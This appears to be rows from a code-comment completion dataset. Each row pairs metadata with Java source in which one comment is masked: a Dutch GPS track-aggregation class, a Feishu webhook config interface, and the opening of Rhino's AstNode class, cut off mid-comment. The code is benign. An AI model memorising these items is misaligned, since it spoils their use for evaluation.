atijd = gpsArray.get(getAantal()-1).getTimeOfDay();
if (atijd < tijd) return null;
for (i = 0; i < getAantal(); i++) {
gpsPoint = gpsArray.get(i);
if (gpsPoint.getTimeOfDay() > tijd) {
break;
}
}
if (i == getAantal()) return new DPoint(gpsArray.get(i - 1).getX(),gpsArray.get(i - 1).getY(),gpsArray.get(i - 1).getSpeed()) ;
gpsPointB = gpsArray.get(i);
gpsPointA = gpsArray.get(i - 1);
double verhouding = (tijd - gpsPointA.getTimeOfDay()) / (gpsPointB.getTimeOfDay() - gpsPointA.getTimeOfDay());
return new DPoint(
gpsPointA.getX() + verhouding * (gpsPointB.getX() - gpsPointA.getX()),
gpsPointA.getY() + verhouding * (gpsPointB.getY() - gpsPointA.getY()),
gpsPointA.getSpeed() + verhouding * (gpsPointB.getSpeed() - gpsPointA.getSpeed()));
}
public double getTotaleTijd() {
GPSPoint eindNode = getNode(getAantal() - 1);
GPSPoint beginNode = getNode(getAantal() - 1);
if (eindNode != null && beginNode != null) {
return getNode(getAantal() - 1).getTime() - getNode(0).getTime();
} else {
return 0;
}
}
public double getLengteTussen(DPoint punt1, DPoint punt2) {
return getLine().getLengteTussen(punt1, punt2);
}
public int getBeginUur() {
if (beginUur == null) {
return -1;
} else {
return (int)beginUur;
}
}
public void setModality(int modality) {
this.modality = modality;
}
public int getModality() {
return modality;
}
public void filterBeginEnd() {
GPSPoint gpsPoint;
GPSPoint beginPoint = getNode(0);
GPSPoint eindPoint = getNode(getAantal() - 1);
int drempelBegin = 0;
int drempelEind = getAantal();
double drempel_begin = DREMPEL_AFSTAND_BEGIN_EIND * random.nextDouble();
double drempel_eind = DREMPEL_AFSTAND_BEGIN_EIND * random.nextDouble();
for (int i = 0; i < getAantal(); i++) {
gpsPoint = getNode(i);
double kmBegin = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), beginPoint.getX(), beginPoint.getY()) / Constants.GOOGLE_FACTOR;
double kmEind = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), eindPoint.getX(), eindPoint.getY()) / Constants.GOOGLE_FACTOR;
if (kmBegin < drempel_begin) {
drempelBegin = i;
}
if (kmEind < drempel_eind && drempelEind == getAantal()) {
drempelEind = i;
}
}
ArrayList<GPSPoint> nieuwGpsArray = new ArrayList<GPSPoint>();
for (int i = drempelBegin + 1; i < drempelEind - 1; i++) {
gpsPoint = getNode(i);
nieuwGpsArray.add(new GPSPoint(gpsPoint.getX(), gpsPoint.getY(), gpsPoint.getSpeed(), gpsPoint.getDate()));
}
gpsArray = nieuwGpsArray;
cacheLine = null;
}
public GPSTrack[] splitsAlsNodig() {
// recursief splitsAlsNodigBinnen aanroepen tot geen splitsen meer nodig
GPSTrack[] splits = splitsAlsNodigBinnen();
if (splits.length == 1) {
return new GPSTrack[] {this};
} else {
return (GPSTrack[]) ArrayUtils.addAll(splits[0].splitsAlsNodig(), splits[1].splitsAlsNodig());
}
}
public GPSTrack[] splitsAlsNodigBinnen() {
GPSPoint gpsPoint, centraalPunt;
long centraalTijd;
int splitsPunt = -1;
for (int i = 0; i < getAantal(); i++) {
centraalPunt = getNode(i);
centraalTijd = centraalPunt.getTime();
int laatstDichtbij = 0;
for (int t = 0; t < getAantal(); t++) {
gpsPoint = getNode(t);
if (Math.abs(centraalTijd - gpsPoint.getTime()) > DREMPEL_TIJD_SPLITSEN) {
double km = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), centraalPunt.getX(), centraalPunt.getY()) / Constants.GOOGLE_FACTOR;
if (km < DREMPEL_AFSTAND_SPLITSEN) {
laatstDichtbij = t;
}
}
}
if (laatstDichtbij != 0) { // splitspunt gevonden
// zoek punt op maximale afstand van i an laatstDichtbij;
// bij "gewoon" oponthoud is dat een toevallige punt van de wolk van tussenstop
// bij twee keer langs dezelfde punt lopen is dat het uiteinde van de "doodlopende" weg
GPSPoint laatstPoint = getNode(laatstDichtbij);
double maxAfstand = 0;
for (int j = 0; j < getAantal(); j++) {
gpsPoint = getNode(j);
double km = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), centraalPunt.getX(), centraalPunt.getY()) / Constants.GOOGLE_FACTOR;
km += GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), laatstPoint.getX(), laatstPoint.getY()) / Constants.GOOGLE_FACTOR;
if (km > maxAfstand) {
maxAfstand = km;
splitsPunt = j;
}
}
}
if (splitsPunt > 0) break;
}
if (splitsPunt == -1 || splitsPunt < 10 || splitsPunt > getAantal() - 10) {
return new GPSTrack[] {this};
} else {
GPSTrack deel1 = new GPSTrack();
GPSTrack deel2 = new GPSTrack();
for (int i = 0; i < getAantal(); i++) {
gpsPoint = getNode(i);
if (i < splitsPunt) {
deel1.add(gpsPoint.getX(), gpsPoint.getY(), gpsPoint.getSpeed(), gpsPoint.getDateString());
} else {
deel2.add(gpsPoint.getX(), gpsPoint.getY(), gpsPoint.getSpeed(), gpsPoint.getDateString());
}
}
//deel1.setRouteID(this.getRouteID());
deel1.setRouteID(getNieuwRouteID());
deel1.setModality(this.getModality());
deel1.filterBeginEnd();
deel2.setRouteID(getNieuwRouteID());
deel2.setModality(this.getModality());
deel2.filterBeginEnd();
return new GPSTrack[] {deel1, deel2};
}
}
static int nieuweRouteID = 0;
private int getNieuwRouteID() {
nieuweRouteID--;
return nieuweRouteID;
}
/*
public void olifantenPaadjes(String dataset, RouteAntwoord[] links) {
if (getAantal() < 2) return;
GoudmapLine line = null;
for (int i = 0; i < getAantal(); i++) {
GPSPunt gpsPoint = getNode(i);
if (gpsPoint.distance(links) > 50 && i < getAantal()-1) { // laatste punt niet meenemen, zo wordt laatste segment altijd in else weggeschreven
if (line == null) {
line = new GoudmapLine();
}
line.add(gpsPoint.toPunt());
} else {
if (line != null) {
if (line.aantal() > 2) {
LoginDatabase.execUpdate(
" INSERT INTO " + LoginDatabase.getTabelNaam("olifantenpaadjes",dataset) + " (routeid, geo) " +
" VALUES (" + routeID + ", " +
" ST_GeomFromText('" + line.asWKT() + "',900913));");
}
line = null;
}
}
}
}
*/
public double getPercentilSnelheid(int n) {
/*
* n is percentil, bijvoorbeeld 20
* n = 50 geeft een goede benadering van de mediaan (behalve dat voor even aantal elementen niet van de middenste average genomen wordt)
*/
Double[] sortSnelheden = new Double[gpsArray.size()];
for (int i = 0; i < gpsArray.size(); i++) {
sortSnelheden[i] = gpsArray.get(i).getSpeed();
}
return getPercentilArray(sortSnelheden, n);
}
private double getPercentilArray(Double[] sortSnelheden, int n) {
int lengte = sortSnelheden.length;
if (lengte == 0) return 0;
Arrays.sort(sortSnelheden);
int element = (int)(lengte - lengte * n / 100.0);
if (element < 0) element = 0;
if (element >= lengte) element = lengte - 1;
// System.err.println("arrlength="+lengte+", element="+element+", waardes:"+sortSnelheden[0] +"|"+sortSnelheden[element]+"|"+sortSnelheden[lengte-1]);
return sortSnelheden[element];
}
public double getPercentilSnelheid(DPoint middenpunt, double radius, int n) {
Double[] sortSnelheden = getSnelhedenBinnenAfstand(middenpunt, radius);
return getPercentilArray(sortSnelheden, n);
}
private Double[] getSnelhedenBinnenAfstand(DPoint middenpunt, double radius) {
ArrayList<Double> snelhedenList = new ArrayList<Double>();
for (int i = 0; i < gpsArray.size(); i++) {
GPSPoint gpsPunt = gpsArray.get(i);
if (gpsPunt.distance(middenpunt) <= radius) {
snelhedenList.add(gpsArray.get(i).getSpeed());
}
}
// Double[] sortSnelheden = new Double[];
return snelhedenList.toArray(new Double[snelhedenList.size()]);
}
public double getVariatieSnelheid(DPoint middenpunt, double radius, double maximum) {
Double[] snelheden = getSnelhedenBinnenAfstand(middenpunt, radius);
double gemiddelde = getGemiddelde(snelheden, maximum);
double sum = 0;
for (int i = 0; i < snelheden.length; i++) {
sum += Math.pow(Math.min(snelheden[i], maximum) - gemiddelde, 2);
}
return sum / snelheden.length;
}
private double getGemiddelde(Double[] snelheden, double maximum) {
double sum = 0;
for (int i = 0; i < snelheden.length; i++) {
sum += Math.min(snelheden[i], maximum);
}
return sum / snelheden.length;
}
public double getDistance2Vertices(int i) {
// gives distance in meters, presuming coordinates are in EPSG 900913
GPSPoint lastPoint = gpsArray.get(i - 1);
GPSPoint thisPoint = gpsArray.get(i);
return GoudmapLine.distance_2_Points(thisPoint.getX(), thisPoint.getY(), lastPoint.getX(), lastPoint.getY()) / Constants.GOOGLE_FACTOR * 1000;
}
}
| move-ugent/track-aggregate | src/nl/bikeprint/trackaggregate/shared/GPSTrack.java | 5,244 | // bij twee keer langs dezelfde punt lopen is dat het uiteinde van de "doodlopende" weg | line_comment | nl | package nl.bikeprint.trackaggregate.shared;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import nl.bikeprint.trackaggregate.aggregegationMethods.mapmatching.DPoint;
import nl.bikeprint.trackaggregate.general.Constants;
import nl.bikeprint.trackaggregate.general.GoudmapLine;
import org.apache.commons.lang3.ArrayUtils;
public class GPSTrack {
public final static double DREMPEL_AFSTAND_BEGIN_EIND = 0.3; // 0.3 km = 300 meter
public final static long DREMPEL_TIJD_SPLITSEN = 3 * 60 * 1000; // 3 minuten in milliseconden
public final static double DREMPEL_AFSTAND_SPLITSEN = 0.2; // 0.2 km = 200 meter
private ArrayList<GPSPoint> gpsArray = new ArrayList<GPSPoint>();
private int routeID;
private boolean isSet = false;
private Integer beginUur = null;
private Integer weekDag = null;
private int modality = -1;
GoudmapLine cacheLine = null;
private java.util.Random random = new java.util.Random();
@SuppressWarnings({ "deprecation" })
public void add(double x, double y, double snelheid, String datestring) {
isSet = true;
// System.out.println("add " + x + ", " + y);
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = null;
try {
date = simpleDateFormat.parse(datestring);
} catch (ParseException e) {
simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS");
try {
date = simpleDateFormat.parse(datestring);
} catch (ParseException e2) {
e2.printStackTrace();
}
}
if (beginUur == null) {
beginUur = date.getHours();
}
if (weekDag == null) {
weekDag = date.getDay();
}
int l = gpsArray.size();
double berekendeSnelheid = 0;
double km = 0;
double uur = 0;
boolean onbetrouwbaar = false;
if (l > 0) {
GPSPoint laatstePunt = gpsArray.get(l - 1);
km = GoudmapLine.distance_2_Points(x, y, laatstePunt.getX(), laatstePunt.getY()) / Constants.GOOGLE_FACTOR;
uur = (double)(date.getTime() - laatstePunt.getTime()) / 1000 / 3600;
berekendeSnelheid = km / uur;
onbetrouwbaar = (km > 0.1 && berekendeSnelheid > 50) || (km > 1 && berekendeSnelheid > 30) || (km > 2);
if (onbetrouwbaar) {
gpsArray.remove(l - 1);
}
}
if (!onbetrouwbaar) {
gpsArray.add(new GPSPoint(x, y, snelheid, date));
}
cacheLine = null;
}
public boolean isSet() {
return isSet;
}
public int getAantal() {
return gpsArray.size();
}
public GPSPoint getNode(int i) {
if (i < 0 || i >= gpsArray.size()) {
return null;
} else {
return gpsArray.get(i);
}
}
public int getRouteID() {
return routeID;
}
public void setRouteID(int routeID) {
this.routeID = routeID;
}
public GoudmapLine getLine() {
if (cacheLine == null) {
ArrayList<DPoint> arr_vertices = new ArrayList<DPoint>();
GPSPoint gpsPoint;
for (int i = 0; i < getAantal(); i++) {
gpsPoint = gpsArray.get(i);
arr_vertices.add(new DPoint(gpsPoint.getX(),gpsPoint.getY()));
}
cacheLine = new GoudmapLine(arr_vertices);
}
return cacheLine;
}
public double getLengte() {
return getLine().length() / Constants.GOOGLE_FACTOR;
}
public double getHemelsbredeLengte() {
GPSPoint eindNode = getNode(getAantal() - 1);
GPSPoint beginNode = getNode(0);
if (eindNode != null && beginNode != null) {
return GoudmapLine.distance_2_Points(eindNode.toPoint(), beginNode.toPoint()) / Constants.GOOGLE_FACTOR;
} else {
return 0;
}
}
public double getTijdAt(DPoint punt) {
double[] arr = getLine().distanceVertexAandeel(punt);
long tijd = 0;
long tijdA = getNode((int)arr[0]).getTime();
if (arr[1] > 0) {
long tijdB = getNode((int)arr[0] + 1).getTime();
tijd = (long)(tijdA + (tijdB - tijdA) * arr[1]);
} else {
tijd = tijdA;
}
return tijd;
}
public DPoint getPuntAtTijd(long tijd) {
GPSPoint gpsPoint,gpsPointA,gpsPointB;
int i;
if (getAantal() < 2) return null;
long atijd = gpsArray.get(0).getTimeOfDay();
if (atijd > tijd) return null;
atijd = gpsArray.get(getAantal()-1).getTimeOfDay();
if (atijd < tijd) return null;
for (i = 0; i < getAantal(); i++) {
gpsPoint = gpsArray.get(i);
if (gpsPoint.getTimeOfDay() > tijd) {
break;
}
}
if (i == getAantal()) return new DPoint(gpsArray.get(i - 1).getX(),gpsArray.get(i - 1).getY(),gpsArray.get(i - 1).getSpeed()) ;
gpsPointB = gpsArray.get(i);
gpsPointA = gpsArray.get(i - 1);
double verhouding = (tijd - gpsPointA.getTimeOfDay()) / (gpsPointB.getTimeOfDay() - gpsPointA.getTimeOfDay());
return new DPoint(
gpsPointA.getX() + verhouding * (gpsPointB.getX() - gpsPointA.getX()),
gpsPointA.getY() + verhouding * (gpsPointB.getY() - gpsPointA.getY()),
gpsPointA.getSpeed() + verhouding * (gpsPointB.getSpeed() - gpsPointA.getSpeed()));
}
public double getTotaleTijd() {
GPSPoint eindNode = getNode(getAantal() - 1);
GPSPoint beginNode = getNode(getAantal() - 1);
if (eindNode != null && beginNode != null) {
return getNode(getAantal() - 1).getTime() - getNode(0).getTime();
} else {
return 0;
}
}
public double getLengteTussen(DPoint punt1, DPoint punt2) {
return getLine().getLengteTussen(punt1, punt2);
}
public int getBeginUur() {
if (beginUur == null) {
return -1;
} else {
return (int)beginUur;
}
}
public void setModality(int modality) {
this.modality = modality;
}
public int getModality() {
return modality;
}
public void filterBeginEnd() {
GPSPoint gpsPoint;
GPSPoint beginPoint = getNode(0);
GPSPoint eindPoint = getNode(getAantal() - 1);
int drempelBegin = 0;
int drempelEind = getAantal();
double drempel_begin = DREMPEL_AFSTAND_BEGIN_EIND * random.nextDouble();
double drempel_eind = DREMPEL_AFSTAND_BEGIN_EIND * random.nextDouble();
for (int i = 0; i < getAantal(); i++) {
gpsPoint = getNode(i);
double kmBegin = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), beginPoint.getX(), beginPoint.getY()) / Constants.GOOGLE_FACTOR;
double kmEind = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), eindPoint.getX(), eindPoint.getY()) / Constants.GOOGLE_FACTOR;
if (kmBegin < drempel_begin) {
drempelBegin = i;
}
if (kmEind < drempel_eind && drempelEind == getAantal()) {
drempelEind = i;
}
}
ArrayList<GPSPoint> nieuwGpsArray = new ArrayList<GPSPoint>();
for (int i = drempelBegin + 1; i < drempelEind - 1; i++) {
gpsPoint = getNode(i);
nieuwGpsArray.add(new GPSPoint(gpsPoint.getX(), gpsPoint.getY(), gpsPoint.getSpeed(), gpsPoint.getDate()));
}
gpsArray = nieuwGpsArray;
cacheLine = null;
}
public GPSTrack[] splitsAlsNodig() {
// recursief splitsAlsNodigBinnen aanroepen tot geen splitsen meer nodig
GPSTrack[] splits = splitsAlsNodigBinnen();
if (splits.length == 1) {
return new GPSTrack[] {this};
} else {
return (GPSTrack[]) ArrayUtils.addAll(splits[0].splitsAlsNodig(), splits[1].splitsAlsNodig());
}
}
public GPSTrack[] splitsAlsNodigBinnen() {
GPSPoint gpsPoint, centraalPunt;
long centraalTijd;
int splitsPunt = -1;
for (int i = 0; i < getAantal(); i++) {
centraalPunt = getNode(i);
centraalTijd = centraalPunt.getTime();
int laatstDichtbij = 0;
for (int t = 0; t < getAantal(); t++) {
gpsPoint = getNode(t);
if (Math.abs(centraalTijd - gpsPoint.getTime()) > DREMPEL_TIJD_SPLITSEN) {
double km = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), centraalPunt.getX(), centraalPunt.getY()) / Constants.GOOGLE_FACTOR;
if (km < DREMPEL_AFSTAND_SPLITSEN) {
laatstDichtbij = t;
}
}
}
if (laatstDichtbij != 0) { // splitspunt gevonden
// zoek punt op maximale afstand van i an laatstDichtbij;
// bij "gewoon" oponthoud is dat een toevallige punt van de wolk van tussenstop
// bij twee<SUF>
GPSPoint laatstPoint = getNode(laatstDichtbij);
double maxAfstand = 0;
for (int j = 0; j < getAantal(); j++) {
gpsPoint = getNode(j);
double km = GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), centraalPunt.getX(), centraalPunt.getY()) / Constants.GOOGLE_FACTOR;
km += GoudmapLine.distance_2_Points(gpsPoint.getX(), gpsPoint.getY(), laatstPoint.getX(), laatstPoint.getY()) / Constants.GOOGLE_FACTOR;
if (km > maxAfstand) {
maxAfstand = km;
splitsPunt = j;
}
}
}
if (splitsPunt > 0) break;
}
if (splitsPunt == -1 || splitsPunt < 10 || splitsPunt > getAantal() - 10) {
return new GPSTrack[] {this};
} else {
GPSTrack deel1 = new GPSTrack();
GPSTrack deel2 = new GPSTrack();
for (int i = 0; i < getAantal(); i++) {
gpsPoint = getNode(i);
if (i < splitsPunt) {
deel1.add(gpsPoint.getX(), gpsPoint.getY(), gpsPoint.getSpeed(), gpsPoint.getDateString());
} else {
deel2.add(gpsPoint.getX(), gpsPoint.getY(), gpsPoint.getSpeed(), gpsPoint.getDateString());
}
}
//deel1.setRouteID(this.getRouteID());
deel1.setRouteID(getNieuwRouteID());
deel1.setModality(this.getModality());
deel1.filterBeginEnd();
deel2.setRouteID(getNieuwRouteID());
deel2.setModality(this.getModality());
deel2.filterBeginEnd();
return new GPSTrack[] {deel1, deel2};
}
}
static int nieuweRouteID = 0;
private int getNieuwRouteID() {
nieuweRouteID--;
return nieuweRouteID;
}
/*
public void olifantenPaadjes(String dataset, RouteAntwoord[] links) {
if (getAantal() < 2) return;
GoudmapLine line = null;
for (int i = 0; i < getAantal(); i++) {
GPSPunt gpsPoint = getNode(i);
if (gpsPoint.distance(links) > 50 && i < getAantal()-1) { // laatste punt niet meenemen, zo wordt laatste segment altijd in else weggeschreven
if (line == null) {
line = new GoudmapLine();
}
line.add(gpsPoint.toPunt());
} else {
if (line != null) {
if (line.aantal() > 2) {
LoginDatabase.execUpdate(
" INSERT INTO " + LoginDatabase.getTabelNaam("olifantenpaadjes",dataset) + " (routeid, geo) " +
" VALUES (" + routeID + ", " +
" ST_GeomFromText('" + line.asWKT() + "',900913));");
}
line = null;
}
}
}
}
*/
public double getPercentilSnelheid(int n) {
/*
* n is percentil, bijvoorbeeld 20
* n = 50 geeft een goede benadering van de mediaan (behalve dat voor even aantal elementen niet van de middenste average genomen wordt)
*/
Double[] sortSnelheden = new Double[gpsArray.size()];
for (int i = 0; i < gpsArray.size(); i++) {
sortSnelheden[i] = gpsArray.get(i).getSpeed();
}
return getPercentilArray(sortSnelheden, n);
}
private double getPercentilArray(Double[] sortSnelheden, int n) {
int lengte = sortSnelheden.length;
if (lengte == 0) return 0;
Arrays.sort(sortSnelheden);
int element = (int)(lengte - lengte * n / 100.0);
if (element < 0) element = 0;
if (element >= lengte) element = lengte - 1;
// System.err.println("arrlength="+lengte+", element="+element+", waardes:"+sortSnelheden[0] +"|"+sortSnelheden[element]+"|"+sortSnelheden[lengte-1]);
return sortSnelheden[element];
}
public double getPercentilSnelheid(DPoint middenpunt, double radius, int n) {
Double[] sortSnelheden = getSnelhedenBinnenAfstand(middenpunt, radius);
return getPercentilArray(sortSnelheden, n);
}
private Double[] getSnelhedenBinnenAfstand(DPoint middenpunt, double radius) {
ArrayList<Double> snelhedenList = new ArrayList<Double>();
for (int i = 0; i < gpsArray.size(); i++) {
GPSPoint gpsPunt = gpsArray.get(i);
if (gpsPunt.distance(middenpunt) <= radius) {
snelhedenList.add(gpsArray.get(i).getSpeed());
}
}
// Double[] sortSnelheden = new Double[];
return snelhedenList.toArray(new Double[snelhedenList.size()]);
}
public double getVariatieSnelheid(DPoint middenpunt, double radius, double maximum) {
Double[] snelheden = getSnelhedenBinnenAfstand(middenpunt, radius);
double gemiddelde = getGemiddelde(snelheden, maximum);
double sum = 0;
for (int i = 0; i < snelheden.length; i++) {
sum += Math.pow(Math.min(snelheden[i], maximum) - gemiddelde, 2);
}
return sum / snelheden.length;
}
private double getGemiddelde(Double[] snelheden, double maximum) {
double sum = 0;
for (int i = 0; i < snelheden.length; i++) {
sum += Math.min(snelheden[i], maximum);
}
return sum / snelheden.length;
}
public double getDistance2Vertices(int i) {
// gives distance in meters, presuming coordinates are in EPSG 900913
GPSPoint lastPoint = gpsArray.get(i - 1);
GPSPoint thisPoint = gpsArray.get(i);
return GoudmapLine.distance_2_Points(thisPoint.getX(), thisPoint.getY(), lastPoint.getX(), lastPoint.getY()) / Constants.GOOGLE_FACTOR * 1000;
}
}
|
203416_0 | package com.dram;
import io.smallrye.config.ConfigMapping;
import io.smallrye.config.WithName;
/**
* webhook配置
*
* @author dragon
* @date 2021/12/29
*/
@ConfigMapping(prefix = "webhook")
public interface WebhookConfig {
/**
* 飞书web hook 完整 url
*
* https://open.feishu.cn/open-apis/bot/v2/hook/aaaaaaa-aaaa-aaaa-aaaa-aaaaaaaa
*
* @return {@link String}
*/
@WithName("feishu.uri")
String feishuUrl();
} | moxiaolong/feishu-webhook-adapter | src/main/java/com/dram/WebhookConfig.java | 167 | /**
* webhook配置
*
* @author dragon
* @date 2021/12/29
*/ | block_comment | nl | package com.dram;
import io.smallrye.config.ConfigMapping;
import io.smallrye.config.WithName;
/**
* webhook配置
*<SUF>*/
@ConfigMapping(prefix = "webhook")
public interface WebhookConfig {
/**
* 飞书web hook 完整 url
*
* https://open.feishu.cn/open-apis/bot/v2/hook/aaaaaaa-aaaa-aaaa-aaaa-aaaaaaaa
*
* @return {@link String}
*/
@WithName("feishu.uri")
String feishuUrl();
} |
22846_10 | /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*-
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.javascript.ast;
import java.io.Serializable;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.mozilla.javascript.Kit;
import org.mozilla.javascript.Node;
import org.mozilla.javascript.Token;
/**
* Base class for AST node types. The goal of the AST is to represent the physical source code, to
* make it useful for code-processing tools such as IDEs or pretty-printers. The parser must not
* rewrite the parse tree when producing this representation.
*
* <p>The {@code AstNode} hierarchy sits atop the older {@link Node} class, which was designed for
* code generation. The {@code Node} class is a flexible, weakly-typed class suitable for creating
* and rewriting code trees, but using it requires you to remember the exact ordering of the child
* nodes, which are kept in a linked list. The {@code AstNode} hierarchy is a strongly-typed facade
* with named accessors for children and common properties, but under the hood it's still using a
* linked list of child nodes. It isn't a very good idea to use the child list directly unless you
* know exactly what you're doing. Note that {@code AstNode} records additional information,
* including the node's position, length, and parent node. Also, some {@code AstNode} subclasses
* record some of their child nodes in instance members, since they are not needed for code
* generation. In a nutshell, only the code generator should be mixing and matching {@code AstNode}
* and {@code Node} objects.
*
* <p>All offset fields in all subclasses of AstNode are relative to their parent. For things like
* paren, bracket and keyword positions, the position is relative to the current node. The node
* start position is relative to the parent node.
*
* <p>During the actual parsing, node positions are absolute; adding the node to its parent fixes up
* the offsets to be relative. By the time you see the AST (e.g. using the {@code Visitor}
* interface), the offsets are relative.
*
* <p>{@code AstNode} objects have property lists accessible via the {@link #getProp} and {@link
* #putProp} methods. The property lists are integer-keyed with arbitrary {@code Object} values. For
* the most part the parser generating the AST avoids using properties, preferring fields for
* elements that are always set. Property lists are intended for user-defined annotations to the
* tree. The Rhino code generator acts as a client and uses node properties extensively. You are
* welcome to use the property-list API for anything your client needs.
*
* <p>This hierarchy does not have separate branches for expressions and statements, as the
* distinction in JavaScript is not as clear-cut as in Java or C++.
*/
public abstract class AstNode extends Node implements Comparable<AstNode> {
protected int position = -1;
protected int length = 1;
protected AstNode parent;
/*
* Holds comments that are on same line as of actual statement e.g.
* For a for loop
* 1) for(var i=0; i<10; i++) //test comment { }
* 2) for(var i=0; i<10; i++)
* //test comment
* //test comment 2
* { }
* For If Statement
* 1) if (x == 2) //test if comment
* a = 3 + 4; //then comment
* and so on
*/
protected AstNode inlineComment;
private static Map<Integer, String> operatorNames = new HashMap<>();
private static final int MAX_INDENT = 42;
private static final String[] INDENTATIONS = new String[MAX_INDENT + 1];
static {
operatorNames.put(Token.IN, "in");
operatorNames.put(Token.TYPEOF, "typeof");
operatorNames.put(Token.INSTANCEOF, "instanceof");
operatorNames.put(Token.DELPROP, "delete");
operatorNames.put(Token.COMMA, ",");
operatorNames.put(Token.COLON, ":");
operatorNames.put(Token.OR, "||");
operatorNames.put(Token.AND, "&&");
operatorNames.put(Token.INC, "++");
operatorNames.put(Token.DEC, "--");
operatorNames.put(Token.BITOR, "|");
operatorNames.put(Token.BITXOR, "^");
operatorNames.put(Token.BITAND, "&");
operatorNames.put(Token.EQ, "==");
operatorNames.put(Token.NE, "!=");
operatorNames.put(Token.LT, "<");
operatorNames.put(Token.GT, ">");
operatorNames.put(Token.LE, "<=");
operatorNames.put(Token.GE, ">=");
operatorNames.put(Token.LSH, "<<");
operatorNames.put(Token.RSH, ">>");
operatorNames.put(Token.URSH, ">>>");
operatorNames.put(Token.ADD, "+");
operatorNames.put(Token.SUB, "-");
operatorNames.put(Token.MUL, "*");
operatorNames.put(Token.DIV, "/");
operatorNames.put(Token.MOD, "%");
operatorNames.put(Token.EXP, "**");
operatorNames.put(Token.NOT, "!");
operatorNames.put(Token.BITNOT, "~");
operatorNames.put(Token.POS, "+");
operatorNames.put(Token.NEG, "-");
operatorNames.put(Token.SHEQ, "===");
operatorNames.put(Token.SHNE, "!==");
operatorNames.put(Token.ASSIGN, "=");
operatorNames.put(Token.ASSIGN_BITOR, "|=");
operatorNames.put(Token.ASSIGN_BITAND, "&=");
operatorNames.put(Token.ASSIGN_LSH, "<<=");
operatorNames.put(Token.ASSIGN_RSH, ">>=");
operatorNames.put(Token.ASSIGN_URSH, ">>>=");
operatorNames.put(Token.ASSIGN_ADD, "+=");
operatorNames.put(Token.ASSIGN_SUB, "-=");
operatorNames.put(Token.ASSIGN_MUL, "*=");
operatorNames.put(Token.ASSIGN_DIV, "/=");
operatorNames.put(Token.ASSIGN_MOD, "%=");
operatorNames.put(Token.ASSIGN_BITXOR, "^=");
operatorNames.put(Token.ASSIGN_EXP, "**=");
operatorNames.put(Token.VOID, "void");
StringBuilder sb = new StringBuilder();
INDENTATIONS[0] = sb.toString();
for (int i = 1; i <= MAX_INDENT; i++) {
sb.append(" ");
INDENTATIONS[i] = sb.toString();
}
}
public static class PositionComparator implements Comparator<AstNode>, Serializable {
private static final long serialVersionUID = 1L;
/**
* Sorts nodes by (relative) start position. The start positions are relative to their
* parent, so this comparator is only meaningful for comparing siblings.
*/
@Override
public int compare(AstNode n1, AstNode n2) {
return n1.position - n2.position;
}
}
public AstNode() {
super(Token.ERROR);
}
/**
* Constructs a new AstNode
*
* @param pos the start position
*/
public AstNode(int pos) {
this();
position = pos;
}
/**
* Constructs a new AstNode
*
* @param pos the start position
* @param len the number of characters spanned by the node in the source text
*/
public AstNode(int pos, int len) {
this();
position = pos;
length = len;
}
/** Returns relative position in parent */
public int getPosition() {
return position;
}
/** Sets relative position in parent */
public void setPosition(int position) {
this.position = position;
}
/**
* Returns the absolute document position of the node. Computes it by adding the node's relative
* position to the relative positions of all its parents.
*/
public int getAbsolutePosition() {
int pos = position;
AstNode parent = this.parent;
while (parent != null) {
pos += parent.getPosition();
parent = parent.getParent();
}
return pos;
}
/** Returns node length */
public int getLength() {
return length;
}
/** Sets node length */
public void setLength(int length) {
this.length = length;
}
/**
* Sets the node start and end positions. Computes the length as ({@code end} - {@code
* position}).
*/
public void setBounds(int position, int end) {
setPosition(position);
setLength(end - position);
}
/**
* Make this node's position relative to a parent. Typically only used by the parser when
* constructing the node.
*
* @param parentPosition the absolute parent position; the current node position is assumed to
* be absolute and is decremented by parentPosition.
*/
public void setRelative(int parentPosition) {
this.position -= parentPosition;
}
/** Returns the node parent, or {@code null} if it has none */
public AstNode getParent() {
return parent;
}
/**
* Sets the node parent. This method automatically adjusts the current node's start position to
* be relative to the new parent.
*
* @param parent the new parent. Can be {@code null}.
*/
public void setParent(AstNode parent) {
if (parent == this.parent) {
return;
}
// Convert position back to absolute.
if (this.parent != null) {
setRelative(-this.parent.getAbsolutePosition());
}
this.parent = parent;
if (parent != null) {
setRelative(parent.getAbsolutePosition());
}
}
/**
* Adds a child or function to the end of the block. Sets the parent of the child to this node,
* and fixes up the start position of the child to be relative to this node. Sets the length of
* this node to include the new child.
*
* @param kid the child
* @throws IllegalArgumentException if kid is {@code null}
*/
public void addChild(AstNode kid) {
assertNotNull(kid);
int end = kid.getPosition() + kid.getLength();
setLength(end - this.getPosition());
addChildToBack(kid);
kid.setParent(this);
}
/**
* Returns the root of the tree containing this node.
*
* @return the {@link AstRoot} at the root of this node's parent chain, or {@code null} if the
* topmost parent is not an {@code AstRoot}.
*/
public AstRoot getAstRoot() {
AstNode parent = this; // this node could be the AstRoot
while (parent != null && !(parent instanceof AstRoot)) {
parent = parent.getParent();
}
return (AstRoot) parent;
}
/**
* Emits source code for this node. Callee is responsible for calling this function recursively
* on children, incrementing indent as appropriate.
*
* <p>Note: if the parser was in error-recovery mode, some AST nodes may have {@code null}
* children that are expected to be non-{@code null} when no errors are present. In this
* situation, the behavior of the {@code toSource} method is undefined: {@code toSource}
* implementations may assume that the AST node is error-free, since it is intended to be
* invoked only at runtime after a successful parse.
*
* <p>
*
